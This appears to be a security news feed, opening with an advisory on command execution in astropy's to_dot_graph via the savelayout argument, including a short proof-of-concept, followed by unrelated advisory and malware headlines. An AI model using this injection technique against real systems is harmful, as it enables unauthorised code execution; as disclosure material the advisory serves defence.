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### Summary RCE due to improper input validation in TranformGraph().to_dot_graph function ### Details Due to improper input validation a malicious user can provide a command or a script file as a value to `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539 Although an error will be raised, the command or script will be executed successfully. ### PoC ```shell $ cat /tmp/script #!/bin/bash echo astrorce > /tmp/poc.txt ``` ```shell $ python3 Python 3.9.2 (default, Feb 28 2021, 17:03:44) [GCC 10.2.1 20210110] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from astropy.coordinates.transformations import TransformGraph >>> tg = TransformGraph() >>> tg.to_dot_graph(savefn="/tmp/1.txt", savelayout="/tmp/script") Traceback (most recent call last): File "<stdin>", l...

By Waqas Another day, another malware threat emerges in a country already at war. This is a post from HackRead.com Read the original post: New AcidRain Linux Malware Variant “AcidPour” Found Targeting Ukraine

Red Hat Security Advisory 2024-1348-03 - An update for the postgresql:10 module is now available for Red Hat Enterprise Linux 8.6 Extended Update Support.

UPS Network Management Card version 4 suffers from a path traversal vulnerability.

Nokia BMC Log Scanner version 13 suffers from a remote command injection vulnerability.

The Red Hat Advanced Cluster Security (RHACS) engineering team is excited to announce the pending release of the latest RHACS version, packed with brand-new features and updates. The team continues to build on the 4.0 major release and RHACS Cloud Service announcements last year with a feature-packed release to kick off 2024. The RHACS 4.4 release will focus on increased consistency of scan results, strengthened security posture management, and more automated security features to alleviate monotonous security tasks.Significant updates include:A new vulnerability scanner termed “Scanner V4”

By Waqas Another day, another cybersecurity threat hits unsuspected users! This is a post from HackRead.com Read the original post: New Malware “BunnyLoader 3.0” Steals Credentials and Crypto

Debian Linux Security Advisory 5632-1 - It was discovered that composer, a dependency manager for the PHP language, processed files in the local working directory. This could lead to local privilege escalation or malicious code execution. Due to a technical issue this email was not sent on 2024-02-26 like it should have.

Red Hat Security Advisory 2024-1335-03 - An update for dnsmasq is now available for Red Hat Enterprise Linux 8.

Red Hat Security Advisory 2024-1334-03 - An update for dnsmasq is now available for Red Hat Enterprise Linux 9.